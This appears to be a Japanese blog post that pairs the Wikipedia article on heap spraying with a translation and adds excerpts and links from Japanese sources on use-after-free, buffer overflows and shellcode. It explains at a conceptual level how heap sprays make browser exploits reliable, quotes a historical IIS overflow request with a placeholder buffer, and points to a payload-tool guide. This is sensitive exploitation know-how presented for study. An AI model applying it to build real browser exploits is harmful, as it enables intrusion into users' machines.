This allows the heap spray to function as a very large NOP sled (for example, 0x0c0c0c0c is often used as non-canonical NOP.)
これにより，ヒープスプレーは巨大なNOPとして機能するようになるのだ。例えば0x0c0c0c0cなどがカノニカルでないNOPとして用いられる。

History：歴史

Heap sprays have been used occasionally in exploits since at least 2001, but the technique started to see widespread use in exploits for web browsers in the summer of 2005 after the release of several such exploits which used the technique against a wide range of bugs in Internet Explorer.
ヒープスプレーは2001年には少なくとも時折用いられるようになったが，後半に見られるようになったのは，IEのあらゆるバグに便乗したテクニックを使うエクスプロイトがいくつか作成された後，2005年夏のブラウザ用のエクスプロイト群が始まりである。

The heap sprays used in all these exploits were very similar, which showed the versatility of the technique and its ease of use, without need for major modifications between exploits.
これらのエクスプロイトで使われていたヒープスプレーは非常に類似しており，このテクニックが多面的な用途を持っていて仕様が容易であること，および異なるエクスプロイト間でほとんど改変せずに利用できてしまうことが明らかになった。

It proved simple enough to understand and use to allow novice hackers to quickly write reliable exploits for many types of vulnerabilities in web browsers and web browser plug-ins.
このテクニックはシンプルで十分理解しやすく，初心者ハッカー達にとってもちゃんと動くエクスプロイトを素早く書くことができ，ウェブブラウザやそのプラグインのあらゆる脆弱性を突くために利用できる，とわかった。

Many web browser exploits that use heap spraying consist only of a heap spray that is copy-pasted from a previous exploit combined with a small piece of script or HTML that triggers the vulnerability.
ヒープスプレーを使う多くのウェブブラウザ用エクスプロイトは，既存のヒープスプレーのコードからの単なるコピー・ペーストと，脆弱性を突くようなごくわずかのスクリプト片やHTMLを合わせただけで成立している。

Implementation：実装方法

JavaScript

Heap sprays for web browsers are commonly implemented in JavaScript and spray the heap by creating large strings.
ウェブブラウザ向けのヒープスプレーは広くJavaScriptによって実装されており，巨大な文字列を生成してヒープをスプレーする。

The most common technique used is to start with a string of one character and concatenating it with itself over and over.
最もよく見られるテクニックは，一文字だけで文字列をまず開始して，それ自身を何度も繰り返し結合するというものだ。

This way, the length of the string can grow exponentially up to the maximum length allowed by the scripting engine.
こうすると，文字列の長さは指数関数的に増してゆき，スクリプティング・エンジンが許可する最大長まで到達する。

Depending on how the browser implements strings, either ASCII or Unicode characters can be used in the string.
ブラウザが文字列を実装する仕方に応じて，ASCII形式やUnicode形式の文字列が使われる。

The heap spraying code makes copies of the long string with shellcode and stores these in an array, up to the point where enough memory has been sprayed to ensure the exploit works.
ヒープスプレーコードは，（ブラウザに命令を出す）シェルコードを使って巨大な文字列を生成し，配列に格納して，エクスプロイトがじゅうぶん確実に動作できるほどの大きなメモリ領域を確保しようとするのだ。

VBScript

Occasionally, VBScript is used in Internet Explorer to create strings by using the String function.
時折VBScriptのStringでIE向けに実装されることもある。

ActionScript

In July 2009, exploits were found to be using ActionScript to spray the heap in Adobe Flash.
2009年には，Adobe Flashのヒープ領域をスプレーするためにActionScriptを使用するエクスプロイトが発見された。

Though it has been proven that heap-spraying can be done through other means, for instance by loading image files into the process, this has not seen widespread use (as of August 2008).
単に画像ファイルをロードする等の単純な手段でヒープスプレーを実現できるにも関わらず，そういった手段はあまり普及していない。

HTML5

In September 2012, a new technique was presented on EuSecWest 2012.
2012年9月のEU・SecWestでは，新しいテクニックが紹介された。

Two CORE researchers, Federico Muttis and Anibal Sacco, showed that the heap can be sprayed very quickly and with a very high allocation granularity through the use of HTML5.
２人のCOREの研究者，フェデリコ・マッティスとアニバル・サッコは，HTML5を使って，非常に速くまたぎっしりとヒープをスプレーできる事を紹介した。

Detection and prevention：検知と防御方法

The Nozzle project from Microsoft Research aims to detect and prevent heap spraying.
マイクロソフト社のNozzleプロジェクトは，ヒープスプレーの検知と防御を目的としている。

BuBBle is another countermeasure which could be considered to detect and prevent an attack triggered after spraying the heap.
BuBBleも，ヒープスプレーが実行開始された段階でそれを検知して防御するための対応策として考えられている。

〜〜Wikipediaの翻訳ここまで〜〜

日本語の資料

ヒープスプレーとUse After Freeに関係した日本語の資料を掲載する。

情報技術解析　（警察庁　情報通信局情報技術解析課）
http://www.npa.go.jp/cyberpolice/dete...
ヒープスプレーとは、Windows が持っている不正プログラムの実行防止機能を回避し、
攻撃成功率を高めるための手法です。
ヒープと呼ばれるメモリ領域に対して
不正なプログラムをスプレーで塗りつぶすように大量に書き込み、
不正プログラムが実行される可能性を高めるものです。
ヒープスプレーが使用された場合、
メモリ使用量が一時的に大きく増加することがあるため、
不正プログラムの存在に気付くことができる場合があります。
PDFファイル型の不正プログラム等で多く使用されています。

「IE7/6ゼロデイ脆弱性」セキュリティアドバイザリを確認する -INTERNET Watch
http://internet.watch.impress.co.jp/d...

Exploitのソースを見てみると、あらかじめCPUの暴走が起こりそうな個所に、シェルコードの動作部分をできる限り大量にメモリ内にコピーしておき、暴走が起きたら悪意のプログラムに誘導するようにする、いわゆる「ヒープスプレー」という技法が使われている。

ITセキュリティのアライ出し (12) PoCの内側 - Heap Spray(2) | マイナビニュース
http://news.mynavi.jp/column/itsecuri...

バッファオーバーフローを使った攻撃を成功させるキーのひとつは、特定の値でリターンアドレスなどの命令ポインタとして使用されるデータを上書きすることである。この特定の値には、シェルコードがロードされるアドレスが相応しい。

ところが、よほどのことがない限り、このアドレスが一定の値になることはない。そこで、これを何とか成功させようと、いくつもの知恵が生まれた。Heap Sprayもその1つである。 MS04-040のPoCでは、多くのシェルコードをヒープ領域に配置させることでこのアドレスの変化を吸収させたのだった。これならば、メモリ割り当ての変化が起こったとしても、特定の値に命令ポインタを移すようにしておけば、最終的にシェルコードが実行される可能性が高くなる。

ITセキュリティのアライ出し (11) PoCの内側 - Heap Spray(1) | マイナビニュース
http://news.mynavi.jp/column/itsecuri...

MS06-055と、本稿執筆時において修正プログラムのないWebViewFolderIcon ActiveX コントロールの問題は、どちらも攻撃を成功させるポイントにおいて、とあるテクニックが使用されている。それは、Windows XP SP2に含まれるバッファオーバーフロー対策の一部を回避できるものであった。"Heap Spray"である。 CodeRedの使用した脆弱性とHeap Spray Heap Sprayは2001年に米eEye Digital Securityが発見したMicrosoft Internet Information Services(IIS)のPoC作成において使用されたという記述がある。このときは、 GET /NULL.ida?[buffer]=X HTTP/1.1 Host: werd ※上記eEyeのアドバイザリから引用というHTTPリクエスト([buffer]に長い文字列を設定する)をIISに送信すると、デフォルトでインストールされるISAPI filterのひとつ"idq.dll"のバッファオーバーフローが発生する。

セキュリティ業界、1440度（2）：PacSec 2013 レポート 2日目〜Chromeの守り方、マルウェアの見
つけ方 (2/3) - ＠IT
http://www.atmarkit.co.jp/ait/article...

近年ブラウザーのエクスプロイトというと、これまで多かったバッファーオーバーフロー系の脆弱性の攻撃から、「Use-after-free脆弱性」に対する攻撃へと移り変わりつつあります。

バッファオーバーフロー系の脆弱性はアプリケーション側での対策が進んだこと、またプラットフォーム側でもそのエクスプロイトを難しくするような機能が盛り込まれていることがその理由だと思われます。　

この発表では、Use-after-free脆弱性の攻撃を緩和するためにChromeに実装されている機能の1つが紹介されました。それは「パーティショニング」という機能で、簡単に説明すると同じ型、同じサイズのオブジェクトを特定のメモリ領域からのみ確保するようにする、という機能です。

Use-after-free脆弱性の問題点とは　Use-after-free脆弱性の問題点は、ある型のオブジェクトとして一度確保されたメモリ領域を、別の値で上書きしてしまい、それを元のオブジェクトとして扱ってしまうという問題です。　一般的なC++の実装では、オブジェクトを格納する領域に、そのオブジェクトが呼び出すべきメソッドのアドレスが一緒に格納されています（正確には関数ポインタテーブルへのポインターですが、ここでは概念のみ説明します）。このアドレスの値を別の値で上書されてしまうと、このオブジェクトを利用したときに、本来呼び出すべきアドレスでない場所を呼び出してしまいます。

複数の Use-After-Free脆弱性を修正する IE の更新プログラム: ウォッチガードセキュリティセンター :次世代型UTM＆ファイアウォール：ウォッチガード・テクノロジー・ジャパン
http://www.watchguard.co.jp/securitya...

先月に報告されたいくつかの IE 更新プログラムと同様に、この 9 件のセキュリティ欠陥もすべて「use after free」の脆弱性であり、攻撃者が欠陥を悪用して任意コードを実行できるようにするメモリ破損欠陥の種類だ。これらはすべて様々な HTML オブジェクトやエレメントを IE が処理する方法に関係している。

有害な HTML を含むウェブページにユーザーを誘導することに成功すると、攻撃者は脆弱性のいずれかを悪用してユーザーの特権を使い、そのユーザーのコンピュータでコードを実行できるようになる。

Software Security | Protect your Software at the Source | Fortify Software
https://www.fortify.com/vulncat/ja/vu...

ポインタを解放した後で、プログラムがそのポインタを使用し続ける場合に、Use After Free エラーが発生します。Double Free エラーや Memory Leak と同様に、Use After Free エラーには 2つの一般的な原因があり、これらが重なっていることもあります。 - エラー条件などの例外的状況。 - プログラムのどの部分でメモリを解放するかに関して混乱が発生している。 Use After Freeエラーは、何も影響を生じないこともありますが、プログラムをクラッシュさせることがあります。技術的には、解放されたメモリの再割り当てが可能であり、この再割り当てを使用した BufferOverflow 攻撃も可能ですが、このタイプの攻撃に基づく悪用には気が付きません。

基本的な用語の意味：

5分で絶対に分かるバッファオーバーフロー − ＠IT
http://www.atmarkit.co.jp/fsecurity/s...

スタックには、CPUがそれまで実行していた関数の内部で使用しているバッファやリターンアドレスなどが保存されます。スタック上に存在するバッファでオーバーフローが発生すると、リターンアドレスが格納されている領域も書き換えられてしまうことがあります。バッファオーバーフローによってリターンアドレスが書き換えられてしまうと、親関数に戻る際に正常なアドレスに戻れなくなります。

シェルコード - Wikipedia
http://ja.wikipedia.org/wiki/%E3%82%B...

ソフトウェアのセキュリティホールを利用するペイロードとして使われるコード断片である。侵入したマシンを攻撃者が制御できるようにするため、シェルを起動することが多いことから「シェルコード」と呼ぶ。シェルコードは機械語で書かれることが多いが、機械語でなくとも同様のタスクを実行できるコード断片はシェルコードと呼ばれる。

pay‐loadとは - IT用語辞典 Weblio辞書
http://www.weblio.jp/content/pay%E2%8...

ペイロードとは、IT用語としては、パケット通信においてパケットに含まれるヘッダやトレーラなどの付加的情報を除いた、データ本体のことである。パケットにはデータの転送先や転送経路などを制御するための情報を含むヘッダや、データの破損などを検査するトレーラなどの情報が、データそのもののほかに付加されて送られる。

ペイロードの語は、こうした情報を対象に含めず、ユーザーが送信したいデータそのものを指し示す際に用いられる。ペイロードのデータのサイズは、一般的に「ペイロード長」と呼ばれる。

アセンブリ言語の基礎知識
http://ings.sakura.ne.jp/prog/asm5.html

ＣＡＬＬ（コール）命令のオペレーションを見るとまず（ＳＰ）（ＳＰが示すメモリアドレス）のメモリへＰＣ(プログラムカウンタ)のアドレスを保存してからＰＣを書き換えジャンプしています。そして、ＲＥＴ（リターン）命令は保存してある（ＳＰ）にあるのアドレスをＰＣへ戻しています。

ペイロードを作成するための有名なツール：

MSFpayloadコマンドのまとめ
http://goodlifehacks.blogspot.jp/2013...

注：この記事で掲載した情報は，Windowsセキュリティの勉強のための情報であり，悪用は断じて禁じます。

追記

＠ＩＴで本記事が紹介された。

Beyond Zero-day Attacks（4）：Use After Freeとヒープスプレー (1/3) - ＠IT
http://www.atmarkit.co.jp/ait/article...

Use After Freeについては、あまり文献が見つからないのですが「主に言語とシステム開発に関して」というブログで記載されている「Windows XP等の，IE脆弱性の攻撃方法“ヒープスプレー”と“Use After Free”」と、このブログで紹介されているリファレンスが、今回の内容をまとめる上で、とても参考になりました。